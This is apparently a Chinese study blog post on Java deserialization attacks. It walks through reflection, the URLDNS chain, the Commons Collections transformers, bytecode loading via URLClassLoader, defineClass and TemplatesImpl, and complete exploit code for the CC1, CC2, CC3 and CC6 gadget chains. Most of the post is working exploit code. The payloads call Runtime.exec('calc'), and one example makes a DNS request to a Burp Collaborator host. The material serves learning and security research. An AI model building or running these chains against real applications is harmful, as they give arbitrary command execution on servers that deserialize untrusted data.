Java再会反序列化

Java反序列化

反射

总的一句话,获得一个类的原型,然后可以操纵类的生成对象以及属性,方法的调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class TestRe {
public static void main(String[] args) throws Exception {
Person person = new Person();
// 类加载的4钟方法
Class p = Class.forName("Person");
// Class p = Person.class;
// Class p = person.getClass();
// Class p = person.getClass().getClassLoader().loadClass("Person");


// 实例化对象
// p.newInstance();
Constructor s = p.getConstructor(int.class, String.class);
Person c = (Person) s.newInstance(123, "123");
System.out.println(c);

// 获得属性以及修改全部的属性方式
// Field[] a = p.getFields(); //获得public变量
// Field[] aa = p.getDeclaredFields(); //获得全部的变量
// for(Field f:aa){
// System.out.println(f);
// }
Field name = p.getDeclaredField("name");
name.setAccessible(true);
name.set(c,"321");
System.out.println(c);


// 获得以及调用方法
Method method = p.getMethod("test", String.class);
method.invoke(c,"test");

}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Person implements Serializable {
public int age;
private String name;

public Person(int age, String name) {
this.age = age;
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public Person() {
}

@Override
public String toString() {
return "Person{" +
"age=" + age +
", name='" + name + '\'' +
'}';
}

public String getName() {
return name;
}

public void test(String name){
System.out.println(name);
}

public void setName(String name) {
this.name = name;
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}

序列化和反序列化

与php反序列化的构造不一样,php反序列化是通过终点反推起点,然后进行pop链子的构造

java的反序列化链子是通过反序列化的时候会自动调用readObject方法,然后去寻找入口类,再来构造链子

在readObjet中去寻找常见的方法

URL链子分析

  1. HashMap的readObject下会调用hash方法然后会调用hashCode方法
  2. URL的hashCode方法会调用handler.hashCode
  3. handler.hashCode中存在getHostAddress发起恶意请求

所以恶意链的构造就是实现URL->hashCode->handler.hashCode->getHostAddress,然后使用HashMap触发hashCode方法就行,也就是说在HashMap中添加URL对象,在触发HashMap的hashCode同时触发URL的hashCode。

但是需要对URL进行处理,在序列化的过程中不会触发DNS请求,在反序列化的时候实现DNS请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Serialization {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void main(String[] args) throws Exception {
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>(); //入口
URL url = new URL("http://2iljqi25st6yxyqgj2watim54wanyc.burpcollaborator.net");
Class c = url.getClass();
Field urlfield = c.getDeclaredField("hashCode"); //操作属性条件
urlfield.setAccessible(true);
urlfield.set(url,123);
hashmap.put(url,1); //放入对象
urlfield.set(url,-1);
serialize(hashmap);
}
}

CC链分析前置知识

首先我们需要知道cc是指Apache Commons Collections,然后在cc链的利用中最重要的就是Transformer接口,然后在这个接口的实现类中,需要关注的是ChainedTransformer,ConstantTransformer,InvokerTransformer这三个类,那么暂时就不做恶意链的构造,而是先看一下怎么去使用这些类进行触发Runtime

ConstantTransformer

实现了类对象的返回,作用主要在于存在transform方法,与ChainedTransformer可以实现链式调用

构造函数以及transform方法

1
2
3
4
5
6
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}

使用如下用法

1
2
3
4
5
6
7
8
9
10
11
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;

public class TestCC {
public static void main(String[] args) {
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
Object transform = constantTransformer.transform(new Object());
System.out.println(transform.getClass().getName());
}
}

传入一个对象,然后调用transform方法返回一个对象

InvokerTransformer

实现了一个类的方法的调用

构造方法以及transform方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}

用法如下

1
2
3
4
5
6
7
8
9
import org.apache.commons.collections.functors.InvokerTransformer;

public class TestCC {
public static void main(String[] args) {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
invokerTransformer.transform(Runtime.getRuntime());
}
}

参数说明:

第一个传入类的方法名字

第二个传入方法名字的参数的列表

第三个传入实际对应方法的参数

然后在实际的运行中,会将三个参数进行初始化传入到类的成员变量,然后利用transform方法传入input类,获得该类的原型,对应的方法以及调用该方法,其中返回method.invoke(input, this.iArgs);,会返回一个Object

ChainedTransformer

ChainedTransformer类实现了Transformer链式调用,就是将传入的列表都会进行调用transform方法,并且将上一个transform方法返回的类传递给下一个进行调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class TestCC {
public static void main(String[] args) {
String cmd = "calc";


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", null}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, null}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};


// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);


// 执行对象转换操作
transformedChain.transform(null);//这里为null的是 一开始的object为runtime类,而getRuntime则不需要参数
}
}

换一种写法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class TestCC {
public static void main(String[] args) {
String cmd = "calc";

Object r1 = new ConstantTransformer(Runtime.class).transform(null); //得到Runtime.class的实例 相当于Class clazz = Class.forName("java.lang.Runtime")

Object r2 = new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", null}
).transform(r1); //调用Runtime的getRuntime方法获得对象 相当于clazz.getMethod("getRuntime");

Object r3 = new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, null}
).transform(r2); //相当于实例化自身就是调用了getRuntime,上面的三个就是实现了Runtime runtime = Runtime.getRuntime();,在r3的地方实现了new的操作,前两个相当于获得了必要的组件

InvokerTransformer r4 = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd});

r4.transform(r3);//相当于runtime.exec("calc");
}
}

与质朴的反射对比,transform会比较抽象一下,但是只要明白用ConstantTransformer开头,然后使用InvokerTransformer方法进行不断调用获得必要的组件,返回的对象都包含之前的迭代信息,通过invoke方法成功实例化对象那么基本上就清晰很多了,接下来进行cc链的分析

字节码加载

URLClassLoader

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.io.IOException;
import java.net.URL;
import java.net.URLClassLoader;

public class TestLoader {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
URL[] urls = {new URL("http://127.0.0.1:8090/")};
URLClassLoader classLoader = URLClassLoader.newInstance(urls);
Class<?> c = classLoader.loadClass("Hello");
c.newInstance();
}
}

1
2
3
4
5
6
7
8
import java.io.IOException;

public class Hello {
public Hello() throws IOException {
System.out.println("aseda");
}
}

可以配合其他的漏洞进行攻击

defineClass

方式一

麻烦

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.lang.reflect.Method;
import java.util.Base64;

public class TestLoader {
public static void main(String[] args) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAHgoABgAPCQAQABEIABIKABMAFAcAFQcAFgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAXAQAKU291cmNlRmlsZQEACkhlbGxvLmphdmEMAAcACAcAGAwAGQAaAQAFYXNlZGEHABsMABwAHQEABUhlbGxvAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAAQABAAFAAwABgALAAAABAABAAwAAQANAAAAAgAO");
System.out.println(code);
Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
hello.newInstance();
}
}

方式二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class TestLoader {
public static void main(String[] args) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("Hello.class"));
Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
hello.newInstance();
}
}

TemplatesImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;

TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}

TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}

public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}

/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}

重写了defineClass,同时Java中默认情况下,如果一个 方法没有显式声明作用域,其作用域为default。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestLoader {
public static void main(String[] args) throws Exception {
byte[] code= Files.readAllBytes(Paths.get("HelloTemplatesImpl.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}
public static void setFieldValue(Object obj, String fieldName, Object newValue) throws NoSuchFieldException, IllegalAccessException {

Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}
}

CC1

CC1的链子一共是两条,一条使用的是LazyMap,一条使用的是TransformedMap,我们最终的目的是触发上面分析之后的ChainedTransformer的transform方法

限制条件,jdk版本在Oracle JDK 8u71以前,在8u71开始,AnnotationInvocationHandler的readObjet发生变化

参考链接:p神安全漫谈

https://ch1e.gitee.io/2022/02/21/cc1/

TransformedMap

构造函数

1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

但是protected

所以需要找到内部的调用函数,类似于getruntime

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

能够触发transform的地方在

1
2
3
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

其父类AbstractInputCheckedMapDecorator中的MapEntry方法会调用

1
2
3
4
5
6
7
8
9
10
11
12
13
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
}

因为其重写了setValue,然后调用parent的checkSetValue,那么只要传入的东西符合即可,稍微测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static void main(String[] args) throws Exception {
Transformer [] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);

Map<Object, Object> map = new HashMap<>();
map.put("value", "CC1");

Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
for (Map.Entry entry: transformedMap.entrySet() ){
entry.setValue("xxx");
}

}

成功触发

那么就需要寻找调用setValue的readObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

AnnotationInvocationHandler下的readObject调用了setValue,并且跟我们测试的地方处理方式相似

那么整个的调用链子就出来了

1
2
3
AnnotationInvocationHandler->readObject->setValue
AbstractInputCheckedMapDecorator->MapEntry->setValue->checkSetValue
TransformedMap->checkSetValue->transform

通过AnnotationInvocationHandler的readObject调用setValue,然后触发AbstractInputCheckedMapDecorator->MapEntry->setValue->checkSetValue,最终触发transform形成链子

然后需要注意的是,进入这个循环需要满足memberType != null,那么跟到本质是在AnnotationType下面需要对其进行初始化,传入的是一个标签,并且需要特定的数值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
private AnnotationType(final Class<? extends Annotation> var1) {
if (!var1.isAnnotation()) {
throw new IllegalArgumentException("Not an annotation type");
} else {
Method[] var2 = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
return var1.getDeclaredMethods();
}
});
this.memberTypes = new HashMap(var2.length + 1, 1.0F);
this.memberDefaults = new HashMap(0);
this.members = new HashMap(var2.length + 1, 1.0F);
Method[] var3 = var2;
int var4 = var2.length;

for(int var5 = 0; var5 < var4; ++var5) {
Method var6 = var3[var5];
if (var6.getParameterTypes().length != 0) {
throw new IllegalArgumentException(var6 + " has params");
}

String var7 = var6.getName();
Class var8 = var6.getReturnType();
this.memberTypes.put(var7, invocationHandlerReturnType(var8));
this.members.put(var7, var6);
Object var9 = var6.getDefaultValue();
if (var9 != null) {
this.memberDefaults.put(var7, var9);
}
}

if (var1 != Retention.class && var1 != Inherited.class) {
JavaLangAccess var10 = SharedSecrets.getJavaLangAccess();
Map var11 = AnnotationParser.parseSelectAnnotations(var10.getRawClassAnnotations(var1), var10.getConstantPool(var1), var1, new Class[]{Retention.class, Inherited.class});
Retention var12 = (Retention)var11.get(Retention.class);
this.retention = var12 == null ? RetentionPolicy.CLASS : var12.value();
this.inherited = var11.containsKey(Inherited.class);
} else {
this.retention = RetentionPolicy.RUNTIME;
this.inherited = false;
}

}
}

其中需要有Retention标签,当然Target也行

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package org.cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws Exception {
Transformer [] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);

Map map = new HashMap();
map.put("value", "CC1");
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationconst = annotation.getDeclaredConstructor(Class.class, Map.class);
annotationconst.setAccessible(true);
Object annotationInvocationHandler = annotationconst.newInstance(Target.class, transformedMap);
// Object annotationInvocationHandler = annotationconst.newInstance(Retention.class, transformedMap);

// serialize(annotationInvocationHandler);

unserialize("CC1.bin");

}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC1.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String filename) throws Exception{
ObjectInputStream oip = new ObjectInputStream(new FileInputStream(filename));
Object obj = oip.readObject();
return obj;
}

}

LazyMap

整个的流程不变,但是触发的方式使用的是LazyMap

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}

其中存在get方法触发transform方法,然后AnnotationInvocationHandler中的invoke方法调用了get方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);

if (result == null)
throw new IncompleteAnnotationException(type, member);

if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();

if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);

return result;
}

然后通过动态代理触发(只要将AnnotationInvocationHandler当作委托,那么只要调用代理类,必然会触发委托类的invoke)

链子如下

1
2
3
Proxy->AnnotationInvocationHandler->invoke
AnnotationInvocationHandler->invoke->get
LazyMap->get->transform
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class TestCC {
public static void main(String[] args) throws Exception {
Transformer [] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);

Map hashMap = new HashMap();
Map outMap = LazyMap.decorate(hashMap,chainedTransformer);

Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=annotation.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler=(InvocationHandler) constructor.newInstance(Retention.class,outMap);

Map proxyMap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},handler);
handler= (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);

// serialize(handler);
unserialize("CC1.bin");

}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC1.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String filename) throws Exception{
ObjectInputStream oip = new ObjectInputStream(new FileInputStream(filename));
Object obj = oip.readObject();
return obj;
}

}

CC2

限制在CC3.x版本不可以使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class TestLoader {
public static void setFieldValue(Object obj, String fieldName, Object newValue) throws NoSuchFieldException, IllegalAccessException {

Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("HelloTemplatesImpl.class"));

TemplatesImpl TemplatesImpl_instance = new TemplatesImpl();

setFieldValue(TemplatesImpl_instance, "_bytecodes", new byte[][]{code});
setFieldValue(TemplatesImpl_instance, "_name", "TemplatesImpl");

InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
TransformingComparator transformer_comparator =new TransformingComparator(transformer);

PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);

setFieldValue(queue,"comparator",transformer_comparator);
setFieldValue(queue,"queue",new Object[]{TemplatesImpl_instance , TemplatesImpl_instance});

serialize(queue);
unserialize("CC2.bin");
}
public static void serialize(Object object) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("CC2.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
}

public static void unserialize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream(filename);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
}
}

贴一个payload即可,很多开始排列组合了,没必要继续下去了,主要就是寻找入口之后的一段调用,剩下的没啥问题了

CC3

配合字节码加载以及cc1的方法触发可以触发任意命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.*;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class TestLoader {
public static void setFieldValue(Object obj, String fieldName, Object newValue) throws NoSuchFieldException, IllegalAccessException {

Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("HelloTemplatesImpl.class"));

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","aaa");
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<Object,Object>();
map.put("value","xxx");
Map transformedmap = TransformedMap.decorate(map,null,chainedTransformer);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotation = cl.getDeclaredConstructor(Class.class,Map.class);
annotation.setAccessible(true);
Object o = annotation.newInstance(Target.class,transformedmap);
serialize(o);
unserialize("CC3.bin");
}
public static void serialize(Object object) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("CC3.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
}

public static void unserialize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream(filename);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
}
}

CC6

解决高版本的问题

首先org.apache.commons.collections.keyvalue.TiedMapEntry中的getValue方法调用了get,hashCode方法调用了getValue方法,只要使用hashcode就可以构造出新的链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class TestCC {
public static void main(String[] args) throws Exception {
Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer[] fakeTransformers = new Transformer[]{};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transforms);

// serialize(expMap);
unserialize("CC6.bin");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC6.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String filename) throws Exception {
ObjectInputStream oip = new ObjectInputStream(new FileInputStream(filename));
Object obj = oip.readObject();
return obj;
}

}

首先先构造出LazyMap,transformerChain先使用fake,后面再替换防止运行时触发POC(参考之前的URL链子的原因)

